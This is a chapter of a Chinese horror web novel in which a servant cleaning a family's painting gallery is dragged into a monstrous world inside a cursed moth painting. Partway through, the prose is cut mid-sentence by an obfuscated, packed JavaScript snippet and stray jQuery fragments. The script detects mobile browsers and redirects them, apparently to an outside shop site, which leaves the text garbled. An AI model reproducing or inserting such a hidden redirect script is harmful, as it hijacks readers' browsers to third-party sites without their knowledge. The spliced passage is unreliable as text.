46. 画中异世界

作品:《活死人也要和养弟做恨么

    沈家古宅比往日更加沉寂。


    林朝赶到沈宅时,张伯正在前厅焦急踱步,身边还站着个穿丝绸睡衣的中年男人,正是沈家老三沈明昊。


    沈明昊手里攥着块手帕,不停地按着额头,眼神里透着股说不出的焦躁。


    “你可算来了!”


    张伯一把拉住林朝,压低声音快速交代:“藏画廊在西翼二楼尽头,钥匙在这儿。里头都是祖上传下来的老画,积灰厚,你仔细点,用干软布轻轻擦画框就行,千万别碰画芯!角落杂物扫干净,工具在门边。”


    “那些画得好好擦!”沈明昊突然插话,声音有些急,打断了张伯的嘱咐。


    他几步走到林朝跟前,眼神在林朝脸上扫了扫,特别强调:“那些画都是好东西,蒙着灰太可惜了!你小子擦亮点听见没?”


    沈明昊说着,又用手帕按了按太阳穴,对张伯挥挥手:“赶紧让他去。母亲,母亲以前也常说要保持家里整洁。”


    张伯连忙应下,把钥匙塞进林朝手里,暗暗推了他一把,示意他快走。


    林朝接了钥匙,低头应了声“明白”,便转身快步往西翼走去。


    二楼的光线比楼下更加昏暗,长长的走廊寂静无声,只有他自己的脚步声在空旷中回响。


    走到尽头,是一扇雕刻着繁复缠枝莲纹的橡木门,这就是藏画廊。


    他用钥匙打开门,一股混合着陈旧颜料,木材和灰尘的浓重气味扑面而来。


    房间很大,两侧墙上密密麻麻挂着大小不一的画作,都用深色绒布覆盖着,看不清内容。


    房间尽头是一扇高高的、镶嵌着彩色玻璃的窄窗,透进的光线被染成诡异的暗红与深蓝。


    但那光线的存在似乎不是为了照亮房间,反而让那些盖着绒布的画框投下更加扭曲浓重的阴影。


    工具果然放在门边,林朝定了定神,开始干活。


    他小心地揭开第一幅画的绒布,下面是一幅色彩黯淡的山水画,意境萧索。


    他按照吩咐,仔细擦拭着沉重的雕花画框。


    时间在寂静和灰尘中缓慢流逝。


    就在他清理到房间中段时,门外走廊忽然传来一阵轻微拖沓的脚步声。


    “谁?”林朝停下动作,警惕地问。


    一个穿着沈宅统一灰色佣人服,背有些佝偻的老头探进头来,是负责这一片杂役的老佣人,姓吴,平时话不多。


    “张管家让我来看看你这边需不需要帮忙,顺便把走廊尽头那几个空花瓶搬走。”老吴的声音听起来很是沙哑。


    “哦,吴伯啊,我这里还行。”林朝松了口气。


    老吴点点头,没进来,转身去走廊尽头搬花瓶了。


    林朝继续擦拭着,但下一幅画尺寸较大,绒布也格外沉重,而后踮起脚,用力将绒布扯下。


    下一刻,绒布落地的声音在寂静中格外刺耳,但林朝的注意力完全被露出的画作吸引。


    画布上是一片涌动的深灰色,笔触粘稠扭曲,在昏暗光线下,那灰色仿佛在缓缓流动。


    而在灰色背景中,隐约有无数的鳞翅状的暗纹,密密麻麻,看久了让人头晕目眩,心底发寒。


    林朝不由自主地后退了一步,心脏莫名地急跳了两下。


    这画太怪异了,看着太不舒服了。


    就在这时,林朝眼角的余光瞥见,对面墙上,一幅原本盖着绒布的画作,绒布的下摆,似乎极其轻微地抖动了一下。


    像是被风吹的,可这房间门窗紧闭,哪来的风?


    林朝背脊瞬间窜上一股凉气,他猛地转头看向那幅画。


    绒布静静垂着,纹丝不动。


    是错觉……吧?


    林朝深吸一口气,告诉自己别自己吓自己,可能刚才扯绒布带动了空气。


    他强迫自己移开视线,准备去擦拭旁边另一幅画。


    可就在他转身的刹那——


    “沙……沙沙……”


    纸张摩擦又或像是很多片极薄的东西在相互刮擦的声音,从他身后,那幅深灰色怪画的方向,幽幽地传来。


    林朝全身的汗毛都竖了起来,他僵硬地、一点一点地回过头。


    只见那幅深灰色画作的表面,那些原本静止的鳞翅状暗纹,此刻如同活物般在粘稠的灰色“背景”上蔓延开来。


    不仅如此,从那画框的边缘,一丝丝灰黑色的“雾气”正悄无声息地渗出来,贴着墙壁,向他脚下的地面蔓延。


    此刻,房间两侧其他盖着绒布的画卷,此刻都开始极其轻微地颤动起来,仿佛里面的“东西”急于破布而出。


    绒布表面浮现出一个个凸起又塌陷的轮廓,像是无数只手在内部抓挠!


    “吴伯!吴伯!”林朝失声大喊,猛地冲向门口。


    走廊里空荡荡的,哪里还有老吴的身影!


    只有他刚才搬动花瓶留下的浅浅拖痕,延伸到走廊拐角。


    “吴伯!你在哪儿?!”林朝的声音在空旷的走廊里回荡,带着惊恐的颤音,他朝着拐角跑去。


    刚拐过弯,眼前的景象让他猛地刹住脚步,这根本不是通往楼梯的走廊!


    这是一条他从未见过的走廊,两侧挂满了壁画,画里光怪陆离,扭曲的人形,诡异的仪式,还有无数硕大的蛾子图案。


    那些蛾子的眼睛仿佛都用暗红色的颜料点缀,在昏暗中幽幽“注视”着他。


    “唔……”


    林朝捂住嘴,强烈的眩晕感袭来,他想后退,却发现来路不知何时变成了冰冷的墙壁。


    就在这时,离他最近的一幅壁画上,那个描绘着祠堂祭祀,仰头向天的扭曲人形“活了”。


    一只细长干枯的“手”,猛地从壁画中伸了出来,闪电般抓向林朝的脚踝。


    “啊——!”林朝魂飞魄散,拼命向后跳开,险险躲过。


    但紧接着,整条走廊的壁画都“活”了过来。


    无数灰影构成的“手”、“触须”、甚至是模糊的“蛾形轮廓”,纷纷从壁画中挣扎探出,抓向他的衣服、手臂、腿。


    而就是一瞬间,林朝被这些拖拽进那些恐怖的壁画里。


    冰冷、粘稠、黑暗。


    这是林朝恢复意识后的第一感觉,他发现自己站在一个无法理解的空间里。


    这里仿佛是怪画的内部世界,但又在无限延伸扭曲。


    脚下不是常人所理解的地面,而是一种不断微微蠕动的“地面”,踩上去软腻湿滑,像是踩在巨大的生物脏器内壁。


    抬头望去,这个世界没有天空,只有无限高远处垂挂下来的灰黑色“帷幕”。


    那些帷幕质地远看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918281|188502||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是丝绸,但表面却又布满了不断剥落又重组的鳞翅状纹路。


    空气中弥漫着那股甜腥腐朽气味的源头,浓烈得让人窒息,每一次呼吸都像吸入了冰冷的灰烬。


    而最让林朝感到绝望的是视野所及的“空间”中,密密麻麻悬挂着无数巨大半透明的“茧”。


    透过半透明的茧壁,能模糊看到里面蜷缩着各种扭曲着的非人的轮廓。


    有的依稀还能辨出人形,但肢体怪异折叠;有的则完全是一团不断变幻的灰影;还有的,赫然呈现出硕大蛾类的模糊形态,翅膀的纹路在茧内微微发光。


    所有的茧都在极其缓慢地脉动着,像是在孕育,又像是在消化。


    林朝站在这个诡异世界的中央,极致的恐惧冻结了他的思维,想逃双腿却像陷在冰冷的泥沼中,动弹不得。


    就在这时,离他最近的一个茧,表面突然凸起一张扭曲的人脸轮廓,嘴巴的位置无声地开合,眼睛是两个空洞的黑斑。


    紧接着,周围十几个茧都开始剧烈蠕动,表面纷纷凸起手掌,肢体或是蛾类口器的轮廓,齐齐面向他。


    此刻的林朝感到冷气正在渗入他的四肢百骸。


    这个世界里漂浮着的灰黑色粒子,试图刺入他的皮肤,将他也同化,也拖入某个等待孵化的“茧”中。


    林朝可以感受到,他就要被吞没了……


    就在意识即将被彻底淹没的最后一瞬,他涣散的目光无意中瞥向这个诡异空间的更深处。


    在那无数脉动“茧”的尽头,灰黑色帷幕最浓重的地方,隐约有一个更加庞大、几乎与整个空间融为一体的的暗影。


    暗影似乎在沉睡。


    下一瞬间,林朝感到周围的力道退去,那股拖拽他下沉的力量变成了一股向外推斥的力道。


    而后林朝眼前一花,天旋地转的感觉再次袭来,被“吐”了出来。


    林朝猛地一个激灵,眨了眨眼。


    他发现自己依然站在藏画廊里,就站在那幅巨大的深灰色怪画面前,手还保持着之前准备掀开绒布的姿势。


    画还是那幅画,粘稠的灰色,鳞翅暗纹,静静地挂在墙上,仿佛从未有过异动。


    刚才发生了什么?


    林朝茫然地放下手,只觉得脑袋里空荡荡的,像是短暂地失神了几秒。


    他只隐约记得,自己扯下绒布,看到这幅怪画,觉得很不舒服,然后好像恍惚了一下?


    对了,吴伯呢?


    他记得老吴之前说要来帮忙搬花瓶的。


    “吴伯?”林朝转过身,朝着门口方向喊了一声。


    走廊里静悄悄的,无人应答。


    林朝皱了皱眉,走到门口,朝走廊两边张望。


    空无一人,老吴不在,那几个说要搬走的花瓶还堆在楼梯口附近。


    “奇怪,不是说过来吗……”林朝嘀咕着,心里隐隐有些不安,却又说不清为什么。


    林朝甩甩头,可能是自己刚才那阵恍惚,感觉时间错位了。


    现在他不想再单独待在这个堆满怪异画作的房间里了,决定先出去找找老吴,或者至少呼吸一下走廊里相对正常的空气。


    林朝刚走出藏画廊,带上门,身后就传来了脚步声。


    “林朝?你这边弄完了?”老吴沙哑的声音响起。